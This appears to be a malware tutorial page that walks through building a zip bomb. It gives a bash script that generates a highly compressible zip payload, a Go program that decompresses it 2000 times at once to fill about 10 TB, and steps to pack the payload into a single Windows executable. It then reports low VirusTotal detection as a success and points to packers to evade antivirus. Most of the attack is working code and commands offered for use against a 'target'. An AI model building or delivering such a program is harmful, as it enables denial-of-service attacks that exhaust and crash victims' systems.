According to Wikipedia:
A zip bomb, also known as a decompression bomb or zip of death, is a malicious archive file designed to crash or render useless the program or system reading it.
...
A zip bomb allows a program to function normally, but, instead of hijacking the program's operation, creates an archive that requires an excessive amount of time, disk space, or memory to unpack.
As stated, a zip bomb is essentially a zip file that's tiny when compressed, but when uncompressed, it kills the system by inflating to consume a massive amount of memory.
It's important to note that a zip bomb may just be a simple zip file, but it can also be a straight-up program packed with said zip file payload. It can also be a fork bomb since that one eats up processor memory. Usually, with malware, the sky's the limit, be creative and design yours according to the target and objective.
Let's make the payload in bash this time. We'll create the "unpacking program" using a compiled language, like go
or rust
. We could also use C/C++ but honestly, it'll be too lengthy at that point, and too... complicated (also I'm lazy, but you're welcome to try and implement one and make a PR to include examples here 😄)
{% hint style="info" %} If you just wanna use a pre-existing payload (which I recommend), you can just download one here. {% endhint %}
Here's a (quite shitty) script to generate a payload:
#!/bin/bash
UNITSIZE=$1
COPIES=$2
OLDPATH=$PATH
PATH=$(/usr/bin/getconf PATH)
if [[ $# -lt 2 ]] then
printf "USAGE: payloadgen.bash [UNIT SIZE] [COPIES]\n\n";
printf "Generates a zip file as a payload for a zip-bomb\n";
printf " UNIT SIZE Size of the unit dummy file inside the payload (in bytes)\n";
printf " COPIES Specifies how many dummy files the payload should contain\n";
exit 0
fi
## Generate a file filled with [UNITSIZE] number of zeros. Each 0 in it is a
## byte, so if it's filled with 1000 zeros, it'll be 1.0kB in size
$(which dd) if=/dev/zero of=./dummyfile.tmp bs=1 count=$UNITSIZE
## Now build the first layer:
for i in $(seq 1 $COPIES); do cp ./dummyfile.tmp ./dummyfile$i.tmp; done
## Zip the base layer together and assign that as the base unit zip file:
zip -9 dummy.zip ./dummyfile*.tmp
rm ./dummyfile*.tmp
mv ./dummy.zip ./payload_$COPIES.zip
printf "Payload size: $(du -h ./payload_$COPIES.zip)\n" 1>&2;
## Restoring the PATH variable to normal;
PATH=$OLDPATH
Once we run this script with something like:
$ chmod +x payloadgen.bash
$ ./payloadgen.bash 10000000 500
...
Payload size: 4.8M ./payload_500.zip
When this is uncompressed initially, it'll be something like 4 GB
in size. Let's now make a program to unzip this stuff a number of times (heck, you can also make it go on forever). I'll use golang
to create the unzipping program:
package main
import (
"archive/zip"
"fmt"
"io"
"os"
"path/filepath"
"strings"
"sync"
)
func main() {
iterations := 2000
var wg sync.WaitGroup
for i := 0; i < iterations; i++ {
wg.Add(1)
go unzipFile("payload.zip", fmt.Sprintf("%s_%d", "output", i), &wg)
}
wg.Wait()
}
func unzipFile(src, dst string, wg *sync.WaitGroup) {
defer wg.Done()
archive, err := zip.OpenReader(src)
if err != nil {
panic(err)
}
defer archive.Close()
for _, f := range archive.File {
filePath := filepath.Join(dst, f.Name)
fmt.Println("unzipping file ", filePath)
if !strings.HasPrefix(filePath, filepath.Clean(dst)+string(os.PathSeparator)) {
return
}
if f.FileInfo().IsDir() {
os.MkdirAll(filePath, os.ModePerm)
continue
}
if err := os.MkdirAll(filepath.Dir(filePath), os.ModePerm); err != nil {
panic(err)
}
dstFile, err := os.OpenFile(filePath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())
if err != nil {
panic(err)
}
fileInArchive, err := f.Open()
if err != nil {
panic(err)
}
if _, err := io.Copy(dstFile, fileInArchive); err != nil {
panic(err)
}
dstFile.Close()
fileInArchive.Close()
}
}
Woah! That's one big program, yeah, but it's really simple.
The unzipFile
function does exactly what its name suggests. Takes in a zip file and unzips it, while placing its contents into a specified dst
location.
The main function just handles the continuous unzipping of the payload. So here:
## First build the program:
$ go build zipbomb.go
## Generate a payload: (appx. 5 Gb)
$ ./payloadgen.bash 10000000 500 && mv payload_500.zip payload.zip
## DON'T RUN THIS ON YOUR SYSTEM
$ ./zipbomb
The last command will decompress the payload 2000 times, which, in this case, will consume a whopping 10 TB. Now comes the question... How do I transport this stuff over to the target in a single executable. To do this, you can use the traditional "packers" route, OR something like this:
- Generate a suitable payload (I'll just use the one we generated before)
## I suggest adding a lil "2>/dev/null" at the end of the following
## if you don't care about the stuff zip's gonna print out
$ ./payloadgen.bash 10000000 500
...
Payload size: 4.8M ./payload_500.zip
- Next, we generate a simple program packing this stuff into a byte array using
go-bindata
:
$ go-bindata -o payload.go payload_500.zip
- Since this file will also be included in the
main
package, we can directly access the functions inside it, so we'll call thepayload_500ZipBytes
function to get the byte array for our payload:
func placePayload() {
payload_500Zip, err := payload_500ZipBytes()
if err != nil {
panic(err)
}
payloadFile, err := os.Create("payload.zip")
if err != nil {
panic(err)
}
defer payloadFile.Close()
_, err = payloadFile.Write(payload_500Zip)
if err != nil {
panic(err)
}
}
- Now, we add a function call to
placePayload
in themain
function before we start iterating and unzipping; do some cleaning up and build the final executable...
$ GOOS=windows go build zipbomb.go payload.go
$ rm payload.go payload_500.zip
$ du -h zipbomb.exe
2.4M zipbomb.exe
Let's run a test (also change the iterations
variable to 2):
$ go build zipbomb.go payload.go
$ ./zipbomb
...
$ du -h output_*
4.7G output_0
4.7G output_1
## Cleanup:
$ rm -rf output_* && go clean
Well, there it is folks, a simple zip bomb!
We can also run a simple test on virustotal
to check where our malware stands in terms of detection:
For the executable targeting windows
For an execuatble targeting Linux (debian)
Well, well, that's quite something! It's passing with flying colors on the Linux detection, and as for the Windows build, a score of 4/70 is quite good! Usually, this may not be the same if we use packers (which, typically, you'll wanna do).
If you wanna know how to pack stuff using packers, check the section on malware-packers.md
Here's the GitHub repository that contains all of the above code:
{% embed url="https://github.com/NovusEdge/zip-bomb" %}
PS: I'll YET AGAIN be making one of those over-engineered packages for this, so look forward to it! I'll link it here as soon as it's done :)